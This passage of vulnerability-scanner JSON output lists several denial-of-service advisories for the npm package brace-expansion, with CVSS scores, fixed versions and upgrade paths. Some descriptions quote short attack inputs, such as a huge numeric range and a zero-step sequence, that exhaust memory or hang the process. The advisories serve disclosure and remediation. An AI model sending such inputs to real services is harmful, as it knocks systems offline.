"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub 